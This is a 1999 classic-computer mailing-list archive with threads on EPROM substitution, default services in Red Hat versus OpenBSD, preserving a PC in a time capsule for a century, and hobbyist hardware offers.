at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:13 2005 Subject: OT Re: Reading age of 3 (was: Re: Computers for children) In-Reply-To: <199901171708.JAA23314@geocities.com> from "Tim Hotze" at Jan 17, 99 02:09:46 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2063 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990117/58150ac7/attachment.ksh From eric at brouhaha.com Sun Jan 17 15:10:57 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:13 2005 Subject: TK50Z-GA EPROM In-Reply-To: <3.0.5.32.19990116232155.00941910@mail.bluefeathertech.com> (message from Bruce Lane on Sat, 16 Jan 1999 23:21:55 -0800) References: <3.0.5.32.19990116093829.0093d100@mail.bluefeathertech.com> <3.0.5.32.19990116093829.0093d100@mail.bluefeathertech.com> <3.0.5.32.19990116232155.00941910@mail.bluefeathertech.com> Message-ID: <19990117211057.18475.qmail@brouhaha.com> I wrote: > I can't imagine any reason why a 27C256 shouldn't work, as long as it was > rated for the correct speed (or faster). The drive shouldn't be able to > tell the difference. Bruce wrote: > No, but the bridge board might. Admittedly, I'm not 100% sure what the > difference is between the standard and CMOS versions. Any enlightenment. The 'C' version has lower power consumption. Active is somewhat lower; quiescent is *much* lower. In general CMOS parts may have different voltage thresholds on the inputs, but many parts that were specifically designed to replace NMOS parts use input circuits designed for compatability. Unless they designed the board to detect the power consumption of the EPROM (which would be silly), or they are running very close to the minimum load of the power supply (which would be a poor design), it should be fine. From cmcmanis at freegate.com Sun Jan 17 15:15:51 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:13 2005 Subject: Linux Security (was Re: thoughts on UNIX and older systems) In-Reply-To: References: <199901170831.DAA09717@armigeron.com> Message-ID: <4.1.19990117131101.00a5d100@208.226.86.10> At 01:03 PM 1/17/99 -0800, zane wrote: >There is a program called 'saint' which is a offshoot of 'satan' I believe, good program. >[snip] 'saint' found a LOT of problems with Linux including a couple >serious ones, [snip] One thing to note, is that all of the k00lDudZ out there seem to run Linux, and their friends and enemies do too so they are often looking for ways to break in. There has been one documented case of an "innocuous" checkin to the Linux source tree that included a trap door. If you look up the various root kits and other cracker tools you will find a preponderence of Linux cracks. Not because Linux is less secure than anything else, but because it is a really high value target (hence the efforts). --Chuck From eric at brouhaha.com Sun Jan 17 15:21:53 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:13 2005 Subject: thoughts on UNIX and older systems In-Reply-To: (healyzh@aracnet.com) References: <199901170831.DAA09717@armigeron.com> from "Sean 'Captain Napalm' Conner" at Jan 17, 99 03:30:17 am Message-ID: <19990117212153.18565.qmail@brouhaha.com> Zane wrote: > 'saint' found a LOT of > problems with Linux including a couple serious ones, there were two > warnings on the OpenBSD box, what were they, I had telnet and ftp turned > on. Linux on the other hand had all sorts of stuff turned on by default > that I didn't need or want, but had just never bothered to turn off. You're not describing comparable things. OpenBSD is a specific BSD-based distribution. I'm sure you're probably running some specific Linux distribution, but you don't state that. Linux by itself doesn't have ANY network services turned on by default. So which Linux distribution (and what version) were you running, and what serious problems did saint find? From zmerch at 30below.com Sun Jan 17 15:49:07 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:40:13 2005 Subject: thoughts on UNIX and older systems In-Reply-To: <19990117212153.18565.qmail@brouhaha.com> References: <199901170831.DAA09717@armigeron.com> Message-ID: <3.0.1.32.19990117164907.00938650@mail.30below.com> Once upon a midnight dreary, Eric Smith had spoken clearly: >Zane wrote: >> 'saint' found a LOT of >> problems with Linux including a couple serious ones, there were two >> warnings on the OpenBSD box, what were they, I had telnet and ftp turned >> on. Linux on the other hand had all sorts of stuff turned on by default >> that I didn't need or want, but had just never bothered to turn off. > >You're not describing comparable things. OpenBSD is a specific BSD-based >distribution. I'm sure you're probably running some specific Linux >distribution, but you don't state that. Linux by itself doesn't have >ANY network services turned on by default. So which Linux distribution >(and what version) were you running, and what serious problems did saint >find? Actually, I believe he did state "red-hat" which in the opinions of most of the system administrators that I deal with on other lists, is the most insecure out-of-box, and also installs the most unneccessary packages which later need to be removed by hand. I've been running Caldera OpenLinux, and while I've not run saint upon my boxes, the services file & whatnot in /etc seem to have most (not all - there is no substitute for good sysadminning) unneccessary things disabled, like not being able to FTP as root and whatnot. For barebones installs on old equipment, IMHO Slackware is the best, but for security's sake I cannot tell you... I was running it at home, wholly offline to the world, so security was not an issue. HTH, "Merch" -- Roger "Merch" Merchberger --- sysadmin, Iceberg Computers Recycling is good, right??? Ok, so I'll recycle an old .sig. If at first you don't succeed, nuclear warhead disarmament should *not* be your first career choice. From doug at blinkenlights.com Sun Jan 17 15:47:29 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:13 2005 Subject: Disasters and Recovery In-Reply-To: <4.1.19990117130119.0097cf10@208.226.86.10> Message-ID: On Sun, 17 Jan 1999, Chuck McManis wrote: > One of the reasons I want to have a completely spec'd Pentium class > computer is to create an archive that will survive a reasonable amount of > time (100 years in a time capsule). Don't leave them a clunky desktop box, leave them something like a sleek Toshiba Portege 3010 (3lb notebook in magnesium case) along with a solar cell so they can fire the thing up when they pull it out of the capsule. Remove all batteries, of course. -- Doug From eric at brouhaha.com Sun Jan 17 16:09:59 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:13 2005 Subject: Disasters and Recovery In-Reply-To: <4.1.19990117130119.0097cf10@208.226.86.10> (message from Chuck McManis on Sun, 17 Jan 1999 13:08:03 -0800) References: <1999Jan15.132933.1767.181240@smtp.itgonline.com> <4.1.19990117130119.0097cf10@208.226.86.10> Message-ID: <19990117220959.18781.qmail@brouhaha.com> > The goal then is to encapsulate a PC, with software, that > will survive 100 years of storage (probably a helium or argon atmosphere so > oxidation won't be a problem). Ideally the machine should be recoverable to > the point where you could boot an operating system on it and write a > program and run it on it. I wouldn't expect a hard drive to be workable after 100 years of storage, even in an inert gas atmosphere. My first reaction was to suggest that you put the software onto a flash disk, but that can't be guaranteed to last anywhere near 100 years either, since the electrons slowly leak from the floating gates. Only about 75% of my floppy disks from 1977 are still readable. CDR media is predicted by some to last more than 100 years. But I don't think a CD-ROM drive will last that long. Punched mylar tape? That should last hundreds of years. Of course, it's not very representative of how computers are actually used in the last decade of the 20th century. From roblwill at usaor.net Sun Jan 17 19:00:47 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:40:13 2005 Subject: Disasters and Recovery Message-ID: <01be427d$fbdd92a0$518ea6d1@the-general> If you want something to last 100 years, DONT't leave a Toshiba. I've got one, and it won't even last one year without breaking. I've had it for three years, and it's been in the repair shop 10 times, all because of product defects. The best would probably be one of the new Gateway laptops (can't remember the model). It also has a magnesium housing. -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 Ya know - the people at GRiD seem to have had a good idea about the magnesium casing...It just didn't catch on quick enough. -----Original Message----- From: Doug To: Discussion re-collecting of classic computers Date: Sunday, January 17, 1999 1:49 PM Subject: Re: Disasters and Recovery >On Sun, 17 Jan 1999, Chuck McManis wrote: > >> One of the reasons I want to have a completely spec'd Pentium class >> computer is to create an archive that will survive a reasonable amount of >> time (100 years in a time capsule). > >Don't leave them a clunky desktop box, leave them something like a sleek >Toshiba Portege 3010 (3lb notebook in magnesium case) along with a solar >cell so they can fire the thing up when they pull it out of the capsule. > >Remove all batteries, of course. > >-- Doug > > From eric at brouhaha.com Sun Jan 17 16:13:29 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:13 2005 Subject: thoughts on UNIX and older systems In-Reply-To: <3.0.1.32.19990117164907.00938650@mail.30below.com> (message from Roger Merchberger on Sun, 17 Jan 1999 16:49:07 -0500) References: <199901170831.DAA09717@armigeron.com> <3.0.1.32.19990117164907.00938650@mail.30below.com> Message-ID: <19990117221329.18790.qmail@brouhaha.com> > Actually, I believe he did state "red-hat" which in the opinions of most of Oops, my mistake. I didn't read the message carefully enough. Sorry! From doug at blinkenlights.com Sun Jan 17 16:22:50 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:13 2005 Subject: Disasters and Recovery In-Reply-To: <19990117220959.18781.qmail@brouhaha.com> Message-ID: On 17 Jan 1999, Eric Smith wrote: > I wouldn't expect a hard drive to be workable after 100 years of storage, > even in an inert gas atmosphere. Why not? Which parts would degrade? I think most modern systems have flash EPROMS, including some disk drive firmware, and that's probably going to have problems as you mentioned. Even normal ROMs have problems with fusing gates, right? I would think a hard disk and heads should be OK if left undisturbed with no oxidizing agents and no strong magentic fields. Put representative types of common media in the capsule, and let the people from the year 2100 figure out which survive best. Now, which OS should the machine run, Linux or Windows? -- Doug From gareth.knight2 at which.net Sun Jan 17 16:37:42 1999 From: gareth.knight2 at which.net (Gareth Knight) Date: Sun Feb 27 18:40:13 2005 Subject: OT- How to solve replying in HTML problem in Outlook Express Message-ID: <004001be426a$7c41b480$f564fea9@gaz> Many people have experienced problems when replying to messages sent in HTML as Outlook replies using the format of the original. I'm not sure if this is the same for Outlook Express 5, but in version 4.72 go to the Tools menu and select Options. The options menu should appear. Click on Send and, second from the bottom will be a tick box saying "Reply to message using format in which they were sent." Deselect this and click APPLY. Now as long as you have set all outgoing mails to be sent in text you will avoid flame wars from angry CC subscribers. :) -- Gareth Knight Amiga Interactive Guide | ICQ No. 24185856 http://welcome.to/aig | "Shine on your star" From djenner at halcyon.com Sun Jan 17 16:58:22 1999 From: djenner at halcyon.com (David C. Jenner) Date: Sun Feb 27 18:40:13 2005 Subject: Available: Internal Memory Expansion for Pro-3xx Message-ID: <36A26B0E.CAD1E543@halcyon.com> I have a couple of internal memory expansion boards for the DEC Pro-350. They have 128KB of memory (64Kbit chips). These work in 350s and probably in 380s, too. You can desolder the 64Kbit chips and put (sockets with) 256Kbit chips on them, solder in two jumpers, and they become 512KB memory expansion boards (which work for sure on the 380 and maybe on the 350). (Note: This board does not plug into the expansion connectors, but does plug directly in to the mother board.) If you want one let me know. They're free, but if I get more requests than I have boards, I'll give preference to anyone with something to trade. Dave From ard at p850ug1.demon.co.uk Sun Jan 17 15:23:22 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:13 2005 Subject: victor 9000 (also called Sirius) (fwd) In-Reply-To: <36A23676.13EF9BC9@jps.net> from "Larry Anderson" at Jan 17, 99 11:14:00 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1536 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990117/eacdaec1/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jan 17 15:33:35 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:13 2005 Subject: TK50Z-GA EPROM In-Reply-To: <3.0.1.32.19990117141800.0090be20@mail.30below.com> from "Roger Merchberger" at Jan 17, 99 02:18:00 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1012 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990117/0f9671c8/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jan 17 15:38:38 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:13 2005 Subject: Heath H19 In-Reply-To: <199901171934.LAA12972@swan.prod.itd.earthlink.net> from "dave dameron" at Jan 17, 99 11:34:15 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1802 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990117/5ec1e666/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jan 17 15:40:56 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:13 2005 Subject: thoughts on UNIX and older systems In-Reply-To: <19990117200113.AAA26015@p2350> from "emanuel stiebler" at Jan 17, 99 01:00:23 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 517 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990117/8812c67c/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jan 17 16:03:21 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:13 2005 Subject: Disasters and Recovery In-Reply-To: <4.1.19990117130119.0097cf10@208.226.86.10> from "Chuck McManis" at Jan 17, 99 01:08:03 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1983 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990117/a8af130d/attachment.ksh From eric at brouhaha.com Sun Jan 17 17:26:36 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:13 2005 Subject: Disasters and Recovery In-Reply-To: (message from Doug on Sun, 17 Jan 1999 17:22:50 -0500 (EST)) References: Message-ID: <19990117232636.19119.qmail@brouhaha.com> I wrote: > I wouldn't expect a hard drive to be workable after 100 years of storage, > even in an inert gas atmosphere. Doug wrote: > Why not? Which parts would degrade? Most everything inside the HDA. Remember the Quantum and Seagate drives that wouldn't work after only a few months of storage, because of problems with the lubricant? Not to mention that hard drives almost all have firmware in flash or OTP EPROM, and some have calibration information in EEPROM. IMNSHO, it would be much easier to preserve a state-of-the-art 1970 minicomputer (e.g., a PDP-8 or PDP-11) in operable condition for the next hundred years than a current PC. If the 1970 minicomputer breaks, there might still be some suitable parts in 2100 to fix it. And if there aren't exact replacements, it should be possible to fabricate replacements. All of the parts are simple and well-documented. When a chip in your 1999 PC goes bad, the odds of being able to find a suitable replacement in 2025 are pretty slim. By 2100 it's unlikely that you'll be able to get any parts. For instance, what if the 82371AB PIIX4 chip fails? Right now it is easy to get those. But if there weren't any available, could you program an FPGA to replace it? Certainly it is theoretically possible, but it's not bloody likely. Do you have the logic diagrams or equations for the PIIX4? And mechanical things like disk drives are similar. It would be much easier to fabricate a replacement part for an RK05 drive than for a Quantum Fireball 12G IDE drive. From rhblake at bigfoot.com Sun Jan 17 17:32:51 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:13 2005 Subject: Disasters and Recovery References: <01be427d$fbdd92a0$518ea6d1@the-general> Message-ID: <36A27322.997FBC5@bigfoot.com> While gateways, Dells, GRiDs and others would be good, I have a 4 yr old Toshi that's never needed more than a battery and it's seen some rough use. It may be that you've gotten a blemish or a used one that was treated badly before you got it. Jason Willgruber wrote: > If you want something to last 100 years, DONT't leave a Toshiba. I've got > one, and it won't even last one year without breaking. I've had it for > three years, and it's been in the repair shop 10 times, all because of > product defects. > > The best would probably be one of the new Gateway laptops (can't remember > the model). It also has a magnesium housing. > -- > -Jason Willgruber > (roblwill@usaor.net) > ICQ#: 1730318 > > > Ya know - the people at GRiD seem to have had a good idea about the > magnesium casing...It just didn't catch on quick enough. > > -----Original Message----- > From: Doug > To: Discussion re-collecting of classic computers > > Date: Sunday, January 17, 1999 1:49 PM > Subject: Re: Disasters and Recovery > > >On Sun, 17 Jan 1999, Chuck McManis wrote: > > > >> One of the reasons I want to have a completely spec'd Pentium class > >> computer is to create an archive that will survive a reasonable amount of > >> time (100 years in a time capsule). > > > >Don't leave them a clunky desktop box, leave them something like a sleek > >Toshiba Portege 3010 (3lb notebook in magnesium case) along with a solar > >cell so they can fire the thing up when they pull it out of the capsule. > > > >Remove all batteries, of course. > > > >-- Doug > > > > From doug at blinkenlights.com Sun Jan 17 17:47:35 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:13 2005 Subject: Disasters and Recovery In-Reply-To: <19990117232636.19119.qmail@brouhaha.com> Message-ID: On 17 Jan 1999, Eric Smith wrote: > Most everything inside the HDA. Remember the Quantum and Seagate drives that > wouldn't work after only a few months of storage, because of problems with > the lubricant? Sure, but oxidation is the enemy of lubricants, right? It's one thing to talk about survival of machines in daily use or in typical environments and another to talk about survival inside a sealed gas filled chamber. If the archivists haven't already done so, it'd be a good move to simply list the corruptive influences and which components were suseptible. My guess that gravity is going to be a problem for some components, like disk drives. Influences Components Fix -------------------------------------------------------------- O2 all inert gas and damn good seal H2O all desiccants and damn good seal gravity mechanical ? int. chemical batteries eliminate l/t chemical doped SiO2 ? thermal all temp control (good luck!) shock all don't bury in California magnetic... cosmic... -- Doug From ard at p850ug1.demon.co.uk Sun Jan 17 17:26:03 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:13 2005 Subject: Disasters and Recovery In-Reply-To: <19990117220959.18781.qmail@brouhaha.com> from "Eric Smith" at Jan 17, 99 10:09:59 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1136 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990117/51a3f2bb/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jan 17 17:29:11 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:13 2005 Subject: Disasters and Recovery In-Reply-To: from "Doug" at Jan 17, 99 05:22:50 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 888 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990117/a52e7044/attachment.ksh From dastar at ncal.verio.com Sun Jan 17 18:14:19 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:13 2005 Subject: Disasters and Recovery In-Reply-To: Message-ID: On Sun, 17 Jan 1999, Doug wrote: > Influences Components Fix > -------------------------------------------------------------- > O2 all inert gas and damn good seal > H2O all desiccants and damn good seal > gravity mechanical ? > int. chemical batteries eliminate > l/t chemical doped SiO2 ? > thermal all temp control (good luck!) > shock all don't bury in California > magnetic... > cosmic... Also: Influences Components Fix ----------------------------------------------------------------------------- Capsule Raiders all (especially IMSAIs and Altairs) Booby traps and curses Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From dastar at ncal.verio.com Sun Jan 17 18:18:04 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:13 2005 Subject: Disasters and Recovery In-Reply-To: Message-ID: On Sun, 17 Jan 1999, Tony Duell wrote: > > Punched mylar tape? That should last hundreds of years. Of course, it's > > not very representative of how computers are actually used in the last > > decade of the 20th century. > > Yes, punched tape (or maybe cards) is one of the longest-lived backing > stores. > > There are reliable electronic stores. Braided wire ROM is one of them. > But none of them are high-density, or are anything like the typical > memories of 1999. How about we start sending all our precious data into space via radio waves towards some big celestial body (like one of Jupiter's moons) so that in X years it will bounce back and we can then retrieve it (hopefully intact thanks to some keen error correction protocol). Of course you'd have to send it on such a trajectory that both the transmission and bounced data stream are not obscured by some other object (like that pesky moon!) Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From dastar at ncal.verio.com Sun Jan 17 18:20:35 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:13 2005 Subject: Disasters and Recovery In-Reply-To: Message-ID: On Sun, 17 Jan 1999, Tony Duell wrote: > The motor and positioner bearings will probably stick. Sure you _can_ > dismantle the HDA in a clean room and re-lubricate, but re-aligning the > drive will not be trivial I would hope that in 100 years re-aligning a late-1990's hard drive would be a trivial task. Otherwise there would be no purpose to this time capsule thing. It would be really funny if a technology time capsule from 1999 turned into an extraordinary gift to a future that has lost all knowledge of high-technology. > The heads will almost certainly stick to the platter, and the head > surface may well be damaged as a result. > > Will the platter demagnetise, or suffer from magnetic patterns shifting > with time. It's certainly possible. By then they should have technology that can read the magnetic remnants of a floppy disk that has disintegrated into dust, no? Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From doug at blinkenlights.com Sun Jan 17 18:21:53 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:13 2005 Subject: Disasters and Recovery In-Reply-To: Message-ID: On Sun, 17 Jan 1999, Sam Ismail wrote: > Influences Components Fix > ----------------------------------------------------------------------------- > Capsule Raiders all (especially IMSAIs and Altairs) Booby traps and curses No joke. That's probably the single biggest threat, and it's the reason that Danny Hillis decided to use no valuable parts and no parts that would make good souvenirs in his millenium clock. -- Doug From dpeschel at u.washington.edu Sun Jan 17 18:21:57 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:40:13 2005 Subject: Disasters and Recovery In-Reply-To: from "Tony Duell" at Jan 17, 99 11:29:11 pm Message-ID: <199901180021.QAA10842@saul4.u.washington.edu> Eric Smith and Tony Duell wrote: > > Why not? Which parts would degrade? I think most modern systems have > > Just about all of them :-( > > A lot of hard drives store HDA parameters (bad blocks, servo settings, > etc) in an E2PROM on the logic board. It's programmed for that particular > HDA. SO I think that will be long-gone. Ditto other bits of silicon will fail Obviously, modern technology (since roughly 1975, as far as computers are concerned) was not made to last 100 years or even 10. > The motor and positioner bearings will probably stick. Sure you _can_ > dismantle the HDA in a clean room and re-lubricate, but re-aligning the > drive will not be trivial Perhaps the only alternative would be to put _dis_assembled parts in the time capsule, and leave detailed directions for assembly. A statement like "These are the best directions we could find. Note that the 1979 computer is a lot easier to work with. Note how technology has changed in 20 years." would be an effective (if not encouraging) comment for the people in 2100! I wonder if the hard drive and motherboard manufacturers would have any sympathy for people who are making time capsules and give out their proprietary information? Probably not but it's worth a shot. :) -- Derek From doug at blinkenlights.com Sun Jan 17 18:29:25 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:13 2005 Subject: Disasters and Recovery In-Reply-To: <199901180021.QAA10842@saul4.u.washington.edu> Message-ID: On Sun, 17 Jan 1999, D. Peschel wrote: > I wonder if the hard drive and motherboard manufacturers would have any > sympathy for people who are making time capsules and give out their > proprietary information? Probably not but it's worth a shot. :) Yes, I was thinking about that, but if you change the rules or widen the scope, this discussion will definitely have to move to its own mailing list. All you need to do is get Bill Gates, or some other rich ego maniac, involved, and they'll fund the 100-year computer and even throw the source code for Windows 98 in there as well. -- Doug From dpeschel at u.washington.edu Sun Jan 17 18:41:29 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:40:13 2005 Subject: Disasters and Recovery In-Reply-To: from "Doug" at Jan 17, 99 07:29:25 pm Message-ID: <199901180041.QAA10029@saul4.u.washington.edu> Doug Yowza wrote: > On Sun, 17 Jan 1999, D. Peschel wrote: > > I wonder if the hard drive and motherboard manufacturers would have any > > sympathy for people who are making time capsules and give out their > > proprietary information? Probably not but it's worth a shot. :) > > Yes, I was thinking about that, but if you change the rules or widen the > scope, this discussion will definitely have to move to its own mailing > list. All you need to do is get Bill Gates, or some other rich ego > maniac, involved, and they'll fund the 100-year computer and even throw > the source code for Windows 98 in there as well. Change the rules? I thought the point was to get complete information, by whatever means. (Well, by whatever _ethical_ means.) I was thinking of getting the information at the component level. If I got Bill Gates involved, the result would be a rather unrealistic design. (It would probably comply with Microsoft's PC99 spec. And probably the spec -- along with every single Microsoft Press book -- would end up in the time capsule.) Also, I would be too tempted to break into the capsule and get the source code out. -- Derek From ard at p850ug1.demon.co.uk Sun Jan 17 18:34:39 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:13 2005 Subject: Disasters and Recovery In-Reply-To: from "Doug" at Jan 17, 99 06:47:35 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1181 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/20b34a9e/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jan 17 18:37:16 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: from "Sam Ismail" at Jan 17, 99 04:18:04 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 611 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/21ef019e/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jan 17 18:29:04 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: <19990117232636.19119.qmail@brouhaha.com> from "Eric Smith" at Jan 17, 99 11:26:36 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2169 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/7cd12dc5/attachment.ksh From cmcmanis at freegate.com Sun Jan 17 18:59:56 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: References: Message-ID: <4.1.19990117164655.00a88100@208.226.86.10> Presumably you can counter the effects of gravity by rotating the capsule every 'n' units of time. As for semiconductor degredation, that can be mititgated by lower temperatures. Also when I worked at Intel we measured dopant migration which was not measurable when power was not applied. There were concerns that during operation the temperatures and electric fields generated would cause things to migrate and the chip to eventually fail. Analysis of 5 year old chips that had not been powered up showed no measurable change. Given that I don't believe the semiconductors will have a problem. However the EEPROMs and FLASHes can very well have a problem. The BIOS on most mother boards is flashed in and it requires that the system boot to flash a new bios in. Perhaps a tool to flash the bios in circuit would need to be supplied as well. I like the mylar paper tape idea. Although I cannot imagine how much tape I would need to hold a 128K byte flash image. Wait a minute, let me get some tape here .... 10 bytes/in so 13,107" or 1092' or roughly 11 100' rolls. That is a lot of tape and that is only the BIOS! I agree with Sam we may be relying on 22nd century technology to recover the bits from the mag tape. And while Tony's comments about restoring a PDP-8 or 11 are good ones, I suspect that in the 22nd century they would be able to fabricate one fairly easily. The goal is to create a snapshot of "current" computing as it is at the turn of the century. And it may be an exercise in futility to expect it to work, but my goal was to make a credible best effort to address those things (like batteries) that would be known to make it _not_ work. --Chuck From doug at blinkenlights.com Sun Jan 17 18:54:08 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: Message-ID: On Mon, 18 Jan 1999, Tony Duell wrote: > > gravity mechanical ? > > What harm is gravity going to do, unless the machine falls off a shelf or > something? I was thinking in terms of long-term forces applied. In general, any mechanical linkage under a constant mechanical stress will fail or bend or compress eventually, no? There's also a risk with anything under a different pressure than the envionment, such as a display tube. -- Doug From dburrows at netpath.net Sun Jan 17 18:56:09 1999 From: dburrows at netpath.net (Daniel T. Burrows) Date: Sun Feb 27 18:40:14 2005 Subject: thoughts on UNIX and older systems Message-ID: <00a201be4281$5ec1b4c0$bf281bce@tower166> >> Personally a VMS node suits my liking. >> >Mine too, but I haven't gotten all the parts for my VaxStation 3100 yet. > I have a few 3100-30's here for spares. What parts do you need? Dan From healyzh at aracnet.com Sun Jan 17 19:39:17 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:14 2005 Subject: thoughts on UNIX and older systems In-Reply-To: <19990117212153.18565.qmail@brouhaha.com> References: (healyzh@aracnet.com) <199901170831.DAA09717@armigeron.com> from "Sean 'Captain Napalm' Conner" Message-ID: >You're not describing comparable things. OpenBSD is a specific BSD-based >distribution. I'm sure you're probably running some specific Linux >distribution, but you don't state that. Linux by itself doesn't have Actually I stated the versions were Red Hat 5.1 for Linux and either 2.3 or 2.4 for OPENBSD. Personally I don't think of OpenBSD as a specific BSD-based distro, more as one of the BSDish OS's, but I guess it's true that it is a specific distro, and it's purpose is security. However, there doesn't seem to be a Linux distro concerned with security. >ANY network services turned on by default. So which Linux distribution Now that I think about it I probably am turning on the networking portition and not even thinking about, since I'm heavily networked. Plus you do have to actually give it some info before the networking will work. Still it does turn on a lot of stuff I don't care about. I like Red Hat, but really wish it wouldn't turn on anything that's installed by default, which it appears to do. >(and what version) were you running, and what serious problems did saint >find? There were a couple things with known vulnerabilities, and it had a lot more services it was providing that were potential openings for an attack. I don't remember the specifics, just that there was almost a page of stuff for Linux and a couple items for OPENBSD. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From ard at p850ug1.demon.co.uk Sun Jan 17 18:50:07 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:14 2005 Subject: Disasters and Recovery In-Reply-To: <199901180021.QAA10842@saul4.u.washington.edu> from "D. Peschel" at Jan 17, 99 04:21:57 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1970 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/2fbd5d40/attachment.ksh From rigdonj at intellistar.net Sun Jan 17 21:41:09 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:14 2005 Subject: Old Radios posting - anyone with contact? In-Reply-To: <000c01be425a$1fb81480$0df438cb@a.davie> References: <1999Jan15.132933.1767.181240@smtp.itgonline.com> Message-ID: <3.0.1.16.19990117214109.2f1f412c@intellistar.net> Andrew, Old radios are OT but related and there's a lot of radio, calculator, computer "deals" coming out of Russia these days so please keep us posted. Joe At 07:44 AM 1/18/99 +1100, you wrote: >Would anyone who has had any contact with the Russian people who recently >listed "Old Radios" for sale on this list please contact me privately >(adavie@mad.scientist.com). I wish to ask a few questions regarding >communications you have received from them. >I'm now highly suspicious of these people. >A >-- >adavie@mad.scientist.com >visit the Museum of Soviet Calculators at > >http://www.comcen.com.au/~adavie/slide/calculator/soviet.html >? > > 